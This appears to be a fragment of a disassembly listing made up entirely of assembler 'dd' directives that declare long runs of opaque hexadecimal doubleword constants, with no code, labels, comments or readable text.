		dd 2E214709h, 0DF942F00h, 0BBF0E8AAh, 876900FCh, 0F9E6E7F7h
		dd 8900B358h, 26CD826h,	3A6D22D3h, 6F83717Ch, 6EC0CF39h
		dd 49D4800h, 3432F988h,	46781923h, 81A80824h, 881CFF21h
		dd 0D9E0C485h, 2E822644h, 9BBF0050h, 5BB9DBFDh,	0EFA34900h
		dd 0BD357F6Fh, 54573A1Dh, 0C5774060h, 0EE0131ACh, 0D67D7B19h
		dd 7CD17A01h, 6816219Ch, 1C6707EFh, 0B0839BC5h,	74EFE37Ah
		dd 7BFDA40Ch, 0C05760B2h, 0E9BCDF31h, 0D8CE25E5h, 0A9D7CC74h
		dd 61EB3B1Eh, 5FED6F00h, 67E8A1C0h, 1D6C773Ah, 0EF80C534h
		dd 87826D64h, 93513A3h,	0E1690CA5h, 21C08309h, 0A7A39F22h
		dd 32DA005Ah, 39EE747Ah, 6B0019E2h, 0B9687E71h,	0F0F9A664h
		dd 5010C077h, 0C6D6C2A1h, 0A9D8400h, 200F5801h,	4AF5071Bh
		dd 605F2933h, 1E8F9E54h, 42233Ah, 11AB7521h, 14EA4C39h
		dd 0D067D4BBh, 9CF9B07h, 0F87390B1h, 0E81FF7F2h, 15807D33h
		dd 0C2918ADAh, 527E0650h, 30D2258Dh, 0BFE70C0Ch, 0F0DA18D0h
		dd 6C48C66Fh, 0CEFC5155h, 4F59EA00h, 26DB1127h,	4EC8000Eh
		dd 0C564F131h, 28C06CB7h, 0B4C7336Fh, 0E9D0079h, 0D241916h
		dd 0A9004EDDh, 0D168BC45h, 7164ABEBh, 70CC60EFh, 0E8905401h
		dd 0A206A67Bh, 4740CFF4h, 0B86C39B0h, 8815C600h, 0E69152DDh
		dd 6600CA74h, 0B570AC28h, 0B0FB45h, 1B2D34B6h, 9CF55583h
		dd 82DAC906h, 60D666h, 6E12E8F0h, 5EE4CD6Ch, 8CC6980Ch
		dd 6053B171h, 36F0F1A6h, 701F4F16h, 9503D204h, 0A80CC05Dh
		dd 0EE6A74h, 0FF5F76D5h, 456F7719h, 71424D00h, 0A29D2AE8h
		dd 5715008Dh, 0C4D96C64h, 0B500CC40h, 9707CB60h, 0AE8579h
		dd 4CD5E42Ch, 5369FEFDh, 95E4900h, 6D08BA1Ah, 5BFF07E1h
		dd 52248Eh, 0CB14AE65h,	3E673200h, 33B380E9h, 9CDE00FEh
		dd 5750C811h, 3200E612h, 0C3B9BCF5h, 0F2EC0F9h,	0B1F42F0Ch
		dd 0B780EFEEh, 71304F79h, 69B69409h, 0F88E06FCh, 56DC00A8h
		dd 0F46DBB0h, 0C80036D5h, 0C7B56D14h, 0D17DDFh,	34DC0BDEh
		dd 0B29E925Dh, 12AB338h, 0C1FE9C83h, 0A9D8AAA6h, 0C71B00FDh
		dd 12AE0D08h, 220E8B4Bh, 18ACCEh, 80CDC3FFh, 3EC87FBAh
		dd 0E81F92B4h, 88F60062h, 62AA451h, 0A7E5ED0Eh,	37E28003h
		dd 0F3FDA2h, 0E0C93D7Dh, 488D79D8h, 4200A07Ch, 0E3249DCDh
		dd 0A2DF6629h, 3041F0Ch, 0A3E277E8h, 601D80E1h,	0B50023F9h
		dd 0A05F0421h, 4549C1h,	3E56109h, 838AA31Eh, 29DF76ECh
		dd 4BA508A1h, 0BE84CF90h
		dd 4219487Fh, 0EB24492Fh, 0BCA25920h, 0AE085D81h, 84574844h
		dd 5174BF31h, 0A6111071h, 10331256h, 55887EBBh,	0E277890Dh
		dd 44213F24h, 82691260h, 24212D14h, 0C49E235Bh,	143CED4Ah
		dd 472114C8h, 9166B108h, 7AA10081h, 0D1826A54h,	76D60041h
		dd 4C40E3B4h, 1200FA15h, 83C8F037h, 79657Dh, 24F2C471h
		dd 771DE909h, 0BA338E00h, 5BE1A70Bh, 8010030h, 0F5AB7C3Ch
		dd 3A0013BDh, 31680F60h, 0FF7026Eh, 0A15BCD3Eh,	80BF1B2Fh
		dd 0F5805D11h, 0E6EAF3DBh, 3BE9D900h, 0B131A3Ch, 6E860089h
		dd 7254FBFh, 0D0F466B3h, 0BE98381Eh, 91DDE0DEh,	0CD841540h
		dd 3BFD61h, 0A1214F6Dh,	70DF2D7Ch, 3FF12A12h, 8E2BA304h
		dd 9002885h, 610B1658h,	82E95839h, 0C0B45A05h, 97C2001Ch
		dd 0DB93464Fh, 91F8E006h, 0B070CFE4h, 0C7E4ACh,	0ACFE15E2h
		dd 3B9221C4h, 68A510C7h, 3A29CDF1h, 38807D03h, 4B0167E0h
		dd 0B5992FD7h, 40DE9731h, 11C6A68h, 0FAA6E90Ah,	0EC47F153h
		dd 0DD006E3Bh, 8ED0630Eh, 731D35E8h, 0E3F4009Eh, 0CDBC1A74h
		dd 970EE19Ch, 207BDD6Dh, 0DE17F8B6h, 0C5C80008h, 0CFA76CBAh
		dd 443F3364h, 4F007751h, 0B0A2D42Eh, 73409FBh, 90E51265h
		dd 6CFEF0D1h, 3C076A72h, 0C9A08902h, 0BD288EB0h, 852E0F2Ch
		dd 88803D42h, 324E7486h, 0C5D16006h, 70E038FDh,	78507B2h
		dd 7035343Dh, 1E3AE5F7h, 22638C01h, 6C1D48EFh, 492D60h
		dd 14C7DD90h, 0F986D49Fh, 0E8E4012h, 0FC231800h, 0F0850658h
		dd 69781FE2h, 0B8AE8017h, 6BA4D6EEh, 731A4F00h,	5EC329B2h
		dd 0A039509Dh, 325300B0h, 0A8A5D8E3h, 84037214h, 0E89EB881h
		dd 0A33DD8E4h, 6C710FA2h, 0BF4ED919h, 22CE3E60h, 1100BC67h
		dd 238A7C43h, 984E1AEEh, 32FF24CEh, 73840050h, 0CA188171h
		dd 6B82005h, 0F6C0216Dh, 0F654C3DDh, 0E9BE0084h, 9D19D97Bh
		dd 4400F6FAh, 0F769E1BFh, 17F8FC17h, 7C5C2B3h, 0F0892340h
		dd 0FB24FD2Ah, 64C49600h, 0CF45F060h, 2A97B67h,	8F665022h
		dd 0AC80DFC6h, 3CC4179Eh, 9209BEF6h, 0A0026AE1h, 0B975C6A8h
		dd 724000DBh, 0A68FA168h, 0D53D550Fh, 24FBA447h, 0BA44BC04h
		dd 9F870890h, 28290BCCh, 0D5804B9Bh, 1C43F13Ch,	8ECBD600h
		dd 54694E75h, 177C004Fh, 790883CCh, 597BFCC2h, 5CF75200h
		dd 0E3833F2h, 86960018h, 2210CF30h, 0D000CAC6h,	52E891BFh
		dd 43991Dh, 0E4FA9AA5h,	7A531E49h, 0FB625A17h, 670E42A8h
		dd 25208CB9h, 2D4AA73Ah, 0FE582900h, 0CB300187h, 0B3F446h
		dd 829819DAh, 8FAE77DEh, 9CF1D200h, 0C2D3AAEAh,	0FD780015h
		dd 2C7E856Dh, 0B40021C9h, 0F8A12018h, 0C22E1h, 1DBFBC2h
		dd 0ACC392BBh, 7269A000h, 591676B8h, 64381E14h,	620FBEBDh
		dd 0C0DE9DF7h, 0FBE1E24Ah, 0BE00822Ah, 3DB18E1Bh, 1C5367CBh
		dd 289FF7E8h, 0CF7F00ACh, 0FFE5A765h, 100CB09h,	0A3A25D8Bh
		dd 265494F9h, 787A83h, 7FF07305h, 9FF8E7C0h, 807D1E3Ah
		dd 0C7E42D1Bh, 35FD2Ch,	0E439B31h, 0B95193FCh, 60D5BD07h
		dd 7FB1F61Ch, 0C6012B5h, 4F78DBh, 0F427B9DCh, 0FB135B86h
		dd 93241C14h, 0BB9800FCh, 27609B1Eh, 0CF670280h, 0A42D83FAh
		dd 640FD8Eh, 65445A07h,	0E033FFAh, 0F081B499h, 669B9842h
		dd 16270461h, 8435FCF2h, 67B480EAh, 3D072CC3h, 41101FE5h
		dd 70DDB080h, 0D73B9h, 44E99D5Fh, 1CD31ACBh, 3D961B00h
		dd 3AFF5727h, 9F54005Ah, 5D7ECF23h, 71071251h, 0C94EBFEh
		dd 0CDAC7261h, 413760h,	0CCA2FC04h, 0E3873158h,	0D4AD6000h
		dd 8C4D4F01h, 36470F12h, 0F6095B1h, 0A2A11B96h,	5A4BB803h
		dd 0D87DDEFBh, 5C79C3h,	0CEE6B068h, 9805D04Ch, 7489B30Fh
		dd 87D780F1h, 3FB526C0h, 19008F2Ah, 0EB73A44Bh,	0F60442F8h
		dd 3824D035h, 3BACF880h, 5482394Ah, 10DB0F80h, 99035318h
		dd 0B000E49Ah, 0BBD207EEh, 0E4CDD02Fh, 5BA800B8h, 1AB6760Ch
		dd 271EF1A4h, 22408E51h, 2F7FC27Eh, 0C55C1D3Bh,	0B71B80FBh
		dd 0C6928758h, 10032F0h, 83ABB271h, 2E1D338Bh, 274A805h
		dd 3A6D5570h, 4D0A5C60h, 0C59E9712h, 0E05CB400h, 0EE7039h
		dd 86A9AA48h, 0C19720CDh, 1001CB78h, 6DC3901Fh,	0D0D75823h
		dd 0CBBDB5Eh, 0A9EC65F5h, 0AF007A30h, 3AD4304h,	28E3CF34h
		dd 3AC187Ch, 5CB1E072h,	0CBBB65A3h, 2B2ED088h, 8EA53Fh
		dd 9A84ADC4h, 191869h, 0FAC11F7Ah, 0E6174249h, 40E942B7h
		dd 0F29E73Dh, 15B18A97h, 33C7A580h, 2E00BF90h, 560C628h
		dd 486BF822h, 0A6003BC2h, 0E90CF675h, 0E1004DADh, 56ACB0DDh
		dd 1F3325h, 677F2AEBh, 2B54F6FBh, 0D470C40Fh, 0B199E059h
		dd 744C5EF3h, 47712Fh, 758121AEh, 22B67AD7h, 0D9D69400h
		dd 0B5384CEFh, 9B6A00EBh, 6C0D4BAEh, 2E03BA3Bh,	58968CC6h
		dd 0A4DDA83Ch, 0FA140006h, 8B7BAC4Ah, 0D71DD87Fh, 62C0D412h
		dd 0E05AFCB1h, 7CCFC2Dh, 0F5A13EDFh, 0D64A8001h, 2C00088Eh
		dd 0AEA9C121h, 383C9606h, 0FD007776h, 7A227D41h, 50087D6h
		dd 27739329h, 28F2F3h, 840D07FEh, 0BE24C98Ah, 10C40B02h
		dd 40B4269Bh, 0E92901Fh, 8BA4AC81h, 0CC404CEFh,	0DCA86EECh
		dd 1A07F300h, 572ABAE1h, 9E873FE0h, 3BE38D80h, 6203E6C0h
		dd 726A3A00h, 19A1C4D0h, 6EC80F5Fh, 14E08D94h, 0A0971305h
		dd 7C167400h, 9A0C8946h, 8CE654h, 5FF2D7E6h, 8BB03B83h
		dd 0D9931300h, 0C5362AEAh, 0C83907C2h, 0EE51145Bh, 74549B60h
		dd 63064830h, 223583CFh, 9D7C86h, 0F1C25BACh, 0D690CC5h
		dd 8724E900h, 0C060D756h, 9884008Ah, 700B145Ah,	78008039h
		dd 579A8F64h, 750F6E05h, 0FDAC0FFAh, 7C807DEBh,	484D238Bh
		dd 0AB0352F0h, 6084CFBh, 0ACD6B87Ah, 987F1Bh, 0EB13342Eh
		dd 68E9B763h, 4B33BD01h, 726DA901h, 5109F8h, 86139695h
		dd 0B28B4538h, 97E2A500h, 9C26DC90h, 1C5739AFh,	7419B305h
		dd 0BFEC0B88h, 0C4CB2601h, 695BC029h, 22808A00h, 3241D330h
		dd 0C25E0BE2h, 8E005A76h, 0A254995Ch, 0BE0021FCh, 2E3C6DB0h
		dd 0C58D14h, 27DE29A6h,	0C7785999h, 16FB260Fh, 30A1C3E5h
		dd 0B0400163h, 0F82479E7h, 0DEDF440h, 0BE108B1Dh, 5115D440h
		dd 7B2E7D54h, 483100D8h, 41D604CFh, 7A002777h, 507E93E9h
		dd 1B2DFEh, 967CA573h, 0F983D365h, 6B5B700h, 210EEC4Fh
		dd 0F38500D7h, 50A741BCh, 4A051D16h, 43B64EBAh,	0BF37BC01h
		dd 88207DD8h, 0D05B0061h, 0ABE27BDCh, 2A00A1DDh, 0FC9130F9h
		dd 7C04622h, 41C9F583h,	115F80A9h, 350510DCh, 95A596CAh
		dd 0E8FEF402h, 0C21DE12Ah, 65022C22h, 299C5571h, 0CE3C8843h
		dd 16B9F06h, 27DD7744h,	0CA267C80h, 227288h, 3F1D1E91h
		dd 9DD142B6h, 0F5E2E53Ch, 709C200h, 7F7DF7FAh, 0F3A4A0BBh
		dd 0BDDC0094h, 41D04ED3h, 0D91D6696h, 74248D5Bh, 0FC865100h
		dd 215EC10h, 61A16E6Dh,	0EC807B7Fh, 49F0CE37h, 0D5269F1Eh
		dd 35F9C8C0h, 167651Eh,	178463BAh, 40C0AC1Fh, 5079AFAh
		dd 0B9780B00h, 0DAD47AB0h, 7D5D01FCh, 84DE5377h, 0E815F950h
		dd 0FE7AD0BDh, 71B43C07h, 941A702Eh, 7907E283h,	8D2600EBh
		dd 0BCC39794h, 0E5000D6Eh, 48D7D9D0h, 7695B525h, 46CF0577h
		dd 11DDA43Eh, 0F408C0BAh, 49004389h, 0B9B5D75Ah, 7D650308h
		dd 0F54FA5CFh, 2B99A000h, 5AF98E17h, 0F3120152h, 0B2EDB1F6h
		dd 9D60249Ah, 563F7409h, 0A120810Fh, 0EFE07BB4h, 0D4E25Bh
		dd 888A18E0h, 9E3B2130h
		dd 57004376h, 2F1D8FBEh, 7C07FFCEh, 18A91E96h, 7A5744h
		dd 47DF4924h, 7D18C687h, 50292EBBh, 0A5BF00A7h,	2F100AD5h
		dd 0EA00BE90h, 0D7962C0Dh, 9913E0h, 0FCA524E6h,	0F87C04Fh
		dd 0BDCEFD03h, 906AD440h, 0E95F8F5h, 81A949E3h,	0E9FB2100h
		dd 0A7EA4266h, 0C1DF4600h, 0DDFE5288h, 0A68D00E3h, 0BBF4B6A3h
		dd 0C7006D4Eh, 0E06CD221h, 0D77F48h, 5C2CE75Eh,	354612E2h
		dd 8C56C100h, 0AAED9D13h, 6D9893h, 3759EE55h, 6EA56680h
		dd 73BB0900h, 679C7C2Dh, 5DB0002Bh, 60B9B397h, 4EE02152h
		dd 56F18400h, 405367Bh,	0CA380026h, 1D1C7D97h, 0C50024F0h
		dd 0EEA1753Ah, 0EC266F4Ah, 48C40429h, 807AF887h, 0B165E548h
		dd 285E58h, 0AA5FB827h,	1DC4CDBAh, 40D1E23Ch, 0EC512099h
		dd 7300BFE7h, 7B2ED3D0h, 3724E7Dh, 52D41CCAh, 0CCE3F463h
		dd 1340A8A8h, 4FCE4900h, 922A239h, 0DC890048h, 43716B95h
		dd 8200C503h, 50CBFC0Eh, 3C6A98B0h, 0C894BEEDh,	472B8F5h
		dd 2C3D5EC7h, 6D0980D3h, 2900270Fh, 44465A52h, 1EC32CBh
		dd 0C27F9EEAh, 701D4E06h, 7200B4D6h, 99221E93h,	202E42Ch
		dd 16B5554Fh, 0B881541Ah, 10D23495h, 20F8E0h, 0B78FDF37h
		dd 0BFA3784Eh, 1EFB4948h, 32C0D984h, 146A67BAh,	341B00E4h
		dd 887612F6h, 0FF2698D1h, 1D13CCF5h, 3782DC02h,	4E3800AFh
		dd 2049B42Fh, 80EA2CB8h, 12268400h, 3CB4CFAh, 5DC845C3h
		dd 7FD8A968h, 7715ED6h,	1B04Ch,	9961851Ch, 3C9FE04Eh, 0E1817331h
		dd 5505DC8Dh, 5F15CC35h, 4CDB4F5Ch, 0A1CA0C91h,	0EA6B107Dh
		dd 139407C9h, 85AF48F8h, 5C7680B4h, 0ACA0C87Eh,	0F501A222h
		dd 0A0402F07h, 0AFE00280h, 0BA4972h, 0FF14AB1Eh, 54803C58h
		dd 62308524h, 0C7EE7900h, 2945ED01h, 75A70E65h,	0D0436070h
		dd 0E69871BDh, 20004095h, 0F55C99Ch, 0E1A948h, 0D6B974FBh
		dd 0C35DCD2Eh, 96E8770Ch, 6F2CD2h, 8FE22DC4h, 58DDBDB2h
		dd 0CE665400h, 0BB1DBAD3h, 60B2F8h, 0A47202D8h,	822F0640h
		dd 55502200h, 3BAF794Fh, 542A00F3h, 0A4F43223h,	191CDD63h
		dd 0BA033601h, 0F88A33A9h, 0A34B0h, 0EF8548CBh,	0F6E40B53h
		dd 0AF0007E4h, 9165B1ABh, 7D23D7C9h, 73371BAh, 633B444Ch
		dd 70802F6Eh, 383C0B1Bh, 0D9A4E150h, 0D000CEE2h, 267A7E5Ah
		dd 3A175FBFh, 378020B9h, 9E851B14h, 0F1D157Bh, 0CEC076B2h
		dd 0E8449BD9h, 0AF870040h, 9414DD86h, 1E090AAAh, 57092Dh
		dd 0A2E58550h, 8924A193h, 4D6B7DCh, 0CDA0F6E1h,	0CCF0C136h
		dd 0D22FF09Eh, 93F8667Fh, 380094B8h, 0F0258FE8h, 0E91B0F6h
		dd 4AF418Eh, 40FCD7A0h,	633F0556h, 620781C0h, 0F08C1DFDh
		dd 3E7736BCh, 90871468h, 623606B6h, 6840AC6Ch, 5A006F93h
		dd 0E94329B9h, 0FCD79D87h, 0FC7734h, 28F86007h,	765B4740h
		dd 1133C40Bh, 913C270Bh, 544882FBh, 6900C820h, 116D0033h
		dd 0B17F2C51h, 6B00CF85h, 9D146048h, 3AF08A83h,	0FA8070F8h
		dd 87E0776Ah, 4F000FDEh, 0AD8E7A23h, 2C155080h,	0B46539h
		dd 0AAAF132Dh, 0CE0F5DD2h, 6BC631h, 0CADC507h, 0E46A3BD5h
		dd 20652926h, 0F57500DCh, 9FF8DF3Ah, 7C00B458h,	5CD2C0EAh
		dd 4E63C6h, 9688D107h, 0DD8F98DAh, 34519116h, 0EE53D820h
		dd 60CB457Ah, 0FD015926h, 69138DDBh, 0E4329FD3h, 18815C01h
		dd 43B2B97Bh, 6E802EFCh, 5F5885E1h, 5B1208A8h, 3626024Bh
		dd 13601A34h, 0CF009360h, 0ADC132B9h, 0F913D4h,	0E6C037F8h
		dd 2E201840h, 5053E72h,	167A8147h, 0F2FD4CC0h, 64172E0Bh
		dd 42444h, 31580EF3h, 10C03603h, 0A0AFB64Ah, 3D7E05C5h
		dd 0C0C9669Ch, 0F03BA9F0h, 0B601AE01h, 610A912Fh, 7FC6B30h
		dd 63D74B4Ch, 0DE4760B1h, 0D30087E2h, 2BA30599h, 2C7BF7EDh
		dd 0E79358Ah, 0F020BF73h, 1C67CED3h, 0CC87A013h, 93C90900h
		dd 79BBB6h, 0D90D121Fh,	0E73BEDE2h, 0A9C68800h,	0F3CC71A3h
		dd 2255042Dh, 0C04B1F96h, 0EEC4AA20h, 6F08C901h, 0D8AF8A51h
		dd 9A40630h, 0A8E0E968h, 7C454C00h, 20007F8Bh, 0C39AB7AEh
		dd 56BA6Eh, 5F282F40h, 0A0B57BA3h, 8F68FA50h, 7A01D477h
		dd 0C001A8A9h, 0E0C84E3Dh, 0CA77006Eh, 4CAFCC3Ah, 7400E4E6h
		dd 0A9C120BBh, 3A98444Fh, 7A807F08h, 8076E050h,	0D50085A3h
		dd 0B376B2Dh, 9F4E5532h, 19016383h, 8A1135E8h, 0F5B43000h
		dd 97ACAF60h, 0BC0C000Eh, 0C6CBB73Fh, 7F07DFE3h, 0F09B148Ch
		dd 17E000F9h, 4A882DFEh, 1DE04066h, 335447E8h, 0F3863Dh
		dd 0D318BACBh, 9C6DFA31h, 89D10038h, 25AADC9Dh,	8E01B00h
		dd 0C2426557h, 809C00B6h, 38FFFDAEh, 0D4B94463h, 0C6F4F53Bh
		dd 0A4021700h, 0B0B87370h, 0E08B007Dh, 0CA915E09h, 800016BFh
		dd 5ACAB06h, 2E2696D7h,	4CB78Eh, 716D3539h, 3E485848h
		dd 1603864h, 0E59998B8h, 1470BDBFh, 870C0E10h, 0A660F6A0h
		dd 0DDCF13F1h, 60C8D301h, 5DAC3EBh, 0B7AB7CCh, 2D872982h
		dd 0CB37E480h, 1D01AF81h, 62ECE4A7h, 904020B3h,	9EBD73Bh
		dd 0CEC9A56Dh, 0E01E8684h, 2B002D84h, 0F0E10A9h, 0B587B4Eh
		dd 972524DBh, 0FBA1888Fh, 80D83491h, 81116F11h,	30C193Bh
		dd 0FE15B3F5h, 0D1CA39E8h, 6087E487h, 36096C2h,	0CB752500h
		dd 28911A2Dh, 0C5A1076Ah, 8051F60Eh, 0DD427730h, 22F0EC02h
		dd 0E00D7E71h, 11EC558h, 883E2876h, 0F0ED1A67h,	0E600EA64h
		dd 8D45353Ah, 6AE7Ch, 0FACDBEEBh, 8FA8550Bh, 4AA63F0Ah
		dd 1000A83Dh, 7E19C8Dh,	0C2630364h, 1F83C726h, 1E00CE7Fh
		dd 0EC4C03FDh, 98EB825h, 0CCDAB48Ch, 792AD868h,	0E8ADC22h
		dd 5EFBF5D9h, 0E07B2D80h, 0D0ED2F2h, 0A1D03877h, 3F06B497h
		dd 0A600343Ch, 0BA221DAEh, 0EA053C07h, 0D8231688h, 9FE110D3h
		dd 0F0D06344h, 5889CEFh, 0B6DD9581h, 0B784C098h, 3280A811h
		dd 35CA1DFFh, 6A10253h,	90609879h, 0F006F5B7h, 0A5B4B15Ah
		dd 23235848h, 0DC90E00h, 4604E839h, 62801500h, 0D0670C40h
		dd 0A8844856h, 9FFB6100h, 88112290h, 0ED000EF0h, 3B7FDDF1h
		dd 5DB75CF5h, 850074CCh, 0D9BB1791h, 0DA7E37E0h, 4E59EA00h
		dd 52C7C377h, 131005D7h, 0ABB8B792h, 0C57F4C81h, 0A2C07431h
		dd 90120068h, 0B2479F9Dh, 0C92C8B42h, 36037806h, 931BD770h
		dd 1973CFA8h, 98F10017h, 6CC87D66h, 0F62C1038h,	8049D43Dh
		dd 41BAB21Ch, 90A4A8B3h, 28CF0017h, 7C460D38h, 0D8009479h
		dd 0F9883D18h, 7B520257h, 8D5A0010h, 19163E85h,	0A900CE78h
		dd 61B79C98h, 0C67BF9h,	0E21A2D3h, 0FB8CC1Fh, 56521C13h
		dd 2A8D7900h, 123559Fh,	0AF9A82FEh, 207E60E7h, 371618CCh
		dd 1C0403FBh, 0C0A85Eh,	1305A1Dh, 662EBFFFh, 40F49DACh
		dd 61D92CA4h, 0B1C57000h, 10E5F6FAh, 87DD044Fh,	0C740E9E6h
		dd 90A09069h, 571375F5h, 0D8C8992Ah, 44367EE6h,	2F35ED5Fh
		dd 440116A2h, 0C0D87D4h, 6F1544D4h, 0FE9E692Eh,	0D393C100h
		dd 7780A86Dh, 8C005C98h, 0ECCFADB3h, 96681EC7h,	988A0A08h
		dd 2697F8h, 0B6BD588Ch,	1900D79Eh, 0A2C02897h, 7B0F47h
		dd 0FBD672EDh, 0BD8584BBh, 9CA3900h, 0C2D3F29Eh, 25D909DFh
		dd 34852957h, 9BE488B0h, 8C56B524h, 86CC7800h, 1FF0CD2Dh
		dd 0C34DAD96h, 52EB1660h, 311F9D83h, 8600C7D0h,	65A7FE67h
		dd 6473F4h, 8476959Bh, 0AEBED088h, 0A5D6B301h, 162E695Ch
		dd 9847B9FCh, 720D014Ch, 0BF2799DFh, 44987041h,	614D5009h
		dd 0E89840D9h
		dd 0BEE10080h, 0C9846763h, 0AE0048BBh, 0AAB1E30Dh, 90C6B7h
		dd 277FD1CBh, 87E5E88Dh, 0E1B00607h, 0DC37B162h, 3FC2CAD0h
		dd 0CCD01CEFh, 9E8584FEh, 167CC1CBh, 658C7004h,	2E93B100h
		dd 0CE5FD699h, 611000EDh, 0C08C3DB7h, 0B8004B55h, 244C17C5h
		dd 0F8D75BDCh, 23900D0h, 7B0AF076h, 11FC23C0h, 5EB9F300h
		dd 0B3C40535h, 0B18207A8h, 20D2989Dh, 73882F4Ah, 5154EE00h
		dd 0E09963F2h, 9E800042h, 1F4A249Ch, 0BE2CB801h, 0C828A4A0h
		dd 6BDCD800h, 0D069B111h, 0DB753CFAh, 28804F38h, 0DCFFF756h
		dd 0D800C20Ch, 793C89BBh, 790AC44Bh, 7D17655h, 0F9BEA0F7h
		dd 195E0332h, 0A57AD4F8h, 950AEF24h, 7D785D0Dh,	7BC2F30h
		dd 0A88A9451h, 3369E0BDh, 8B00DE1Dh, 2AE73E27h,	7E6B174h
		dd 9B71F429h, 0A492E084h, 0A3E1344h, 2D2B8088h,	650BBA69h
		dd 0B85A0FD3h, 0C14134CDh, 0E0812270h, 4F00D6CCh, 260C350Fh
		dd 4AC0ACh, 0D1FE20C4h,	49A82E72h, 410E4670h, 67FD8B07h
		dd 1760B0B1h, 0ECD51177h, 637602h, 0BC34C38Ah, 0E71486A2h
		dd 8007CA3Bh, 8BAFEE99h, 0FCC865h, 5AB1E44Fh, 0C9701647h
		dd 7E990300h, 826377E0h, 1C4C3F0Bh, 1ADBD93h, 64169182h
		dd 9000FF14h, 0B1F37698h, 0B0726DA7h, 0FF2FAE9h, 0C9558E89h
		dd 66810DE3h, 0A80806F0h, 563F5DE4h, 79A10602h,	0F480CBD8h
		dd 0BCBE0753h, 80C52DA5h, 82AAD60h, 430F4C7Dh, 0A00B445Eh
		dd 8FE41BE5h, 42E600F5h, 0F6B7B0DCh, 60ED4661h,	7600A7BCh
		dd 0C5D94DD5h, 0EE0820h, 5B332E9Ch, 97600777h, 54B90501h
		dd 0EC190D3Ah, 63508C47h, 0F6DF715h, 74A2667Fh,	945FDE40h
		dd 293F0CAEh, 0EC307C24h, 0CF69A83Ch, 0B1E010BAh, 0B2725012h
		dd 6F2B3A00h, 6B4C97DAh, 0E67705ABh, 74180Ch, 1DA57B90h
		dd 0F3E9FA3h, 3BD805Eh,	9A978D0Dh, 187A1F0Bh, 0C79E84CCh
		dd 0CFC0FBF6h, 30C6F581h, 22869767h, 0F200B642h, 0A49D6E1Eh
		dd 36909E8h, 505FCF84h,	49A0B2E1h, 4A4CC5D4h, 985B0FBBh
		dd 0CB8F23A1h, 5290FF75h, 6E2851h, 0D035B0DFh, 0A9D14AE7h
		dd 74770100h, 3CD63D17h, 728D26F1h, 0B6FC00A4h,	0B93A271h
		dd 852D1C02h, 8062C43Ah, 5B4E38C5h, 0A83E0930h,	77000491h
		dd 0F4028542h, 11341A00h, 47B4B327h, 0FB5396Fh,	822A9E80h
		dd 1841D0ACh, 680AC200h, 6C8ABBDBh, 53A400E9h, 83F78D2h
		dd 0C600334Bh, 1098B158h, 0C58651h, 613B9BF0h, 819A27A4h
		dd 57031904h, 0EB9FBFh,	835F0DD5h, 2FECBAAAh, 0C3F6D100h
		dd 42107084h, 5C4A7549h, 0D901DAE9h, 0F1B85F46h, 806361BEh
		dd 18C96251h, 781DA99h,	34E2863Dh, 61A33E6Dh, 7FF0224Bh
		dd 6000EBEDh, 3B5B7378h, 1EAA6C52h, 5EA75C2Ch, 38047F2Ah
		dd 80DC87A4h, 0D39DD894h, 0F058D700h, 6E771846h, 84E4FFD5h
		dd 5E08245Dh, 3A8D001Ch, 38E516C0h, 44054Ch, 0F61EE91h
		dd 18B91843h, 50D0A19Bh, 0EB7BC609h, 0F172FCE6h, 5DF039h
		dd 8A104B38h, 1CB21E4h,	0E5DEC41Fh, 20E08F2Ah, 0AC00F824h
		dd 3035E8D7h, 64642C3h,	5D0F53BCh, 960620ECh, 58CB801Dh
		dd 1FDB0011h, 732D8922h, 0A10E28DCh, 302E77Ah, 0C07E4A1Eh
		dd 3E04BEDh, 0D0DFD8C0h, 0E9C96199h, 0F8B8F86Eh, 873BC909h
		dd 0F3A70001h, 0B607F6h, 50E5AE7Dh, 0C562D2D6h,	92EB500h
		dd 75F0526Fh, 0DDBD0032h, 25515388h, 7048C94Eh,	0C46B0208h
		dd 268311h, 8950FE2Bh, 2928D007h, 93B0BD9Eh, 9C5FF0h, 3179D27Fh
		dd 96F76FDBh, 0FA5C8B00h, 0AD4A72D5h, 203A0FA2h, 0B2DEC9h
		dd 811A78CBh, 0F7485843h, 0BEC10808h, 9C184056h, 9D00771Ch
		dd 7B038F48h, 0F20186h,	3A47A715h, 0CD1BABF9h, 0E29C9A00h
		dd 0C5291EF6h, 0C7F50074h, 796538D0h, 0E60085CAh, 0F27030E0h
		dd 0EE7F44h, 0A2F82688h, 53AD0BF4h, 760039FAh, 7937A6C2h
		dd 14243398h, 0DD77EF4Eh, 0B986D40Ch, 0A600FA60h, 6CC5D715h
		dd 0DD8D8Ah, 660529Dh, 0FDAD643Eh, 0B06848h, 3CE541A2h
		dd 2473ACA7h, 1F58E86Dh, 0CC8403E1h, 1AE1DF27h,	5269F0CEh
		dd 66B45003h, 808BFEEBh, 609112A4h, 0E2EFDC37h,	4C00342Fh
		dd 2E59EE6Ch, 74D4E68h,	0BDE472B2h, 15802ED0h, 9AD8AE14h
		dd 19C523Eh, 2C2A95C6h,	94D03B2Fh, 9F8902Eh, 0BD72257Fh
		dd 0B4203827h, 0CC5B00F2h, 117032h, 8E01ADC5h, 0F37EC7FEh
		dd 30F7F00h, 501DE447h,	0B03703DDh, 0C125B205h,	937B201Fh
		dd 89F962C0h, 0A61116h,	84483A51h, 608CF2F0h, 0CFC80100h
		dd 112E3296h, 9E1F0022h, 9D0A4F8Fh, 0F500417Ch,	1BA4ECAFh
		dd 0D989BDh, 8C85E721h,	3231403Bh, 25AAD001h, 7D1A8D4Bh
		dd 909DABF0h, 50306A08h, 2D5A0008h, 71EE12A6h, 3A890C0Fh
		dd 5608C43Bh, 84BE57C0h, 0EE302B8h, 5A49AB61h, 0C64D3060h
		dd 65A0B000h, 0DA3E3A9Eh, 3F9105F4h, 0C04823F9h, 3071A957h
		dd 684F2C00h, 0D028C85Ah, 4D7873A0h, 310EF46Fh,	4FA08A66h
		dd 98A45774h, 14BB5303h, 0A90FF329h, 0A2E4059Dh, 23DD0067h
		dd 0E868B5D5h, 0C0009389h, 0E34A60F5h, 8B7B50h,	594D5537h
		dd 63A157C7h, 0AF01DA00h, 277C1AAh, 80F43DF5h, 752D4700h
		dd 0C5411A7h, 0CE0D0701h, 16B0DE3Dh, 0E630DCh, 50C33CC7h
		dd 0BC38CFBBh, 0E5711A00h, 0B1D911D1h, 1B3E088h, 8F0D6D3h
		dd 803E848Eh, 0AED71E30h, 1D15E0B9h, 0C09AB898h, 5318032Eh
		dd 68011001h, 47772702h, 0EAD0CBD0h, 0BACE007Eh, 1EE5B23Dh
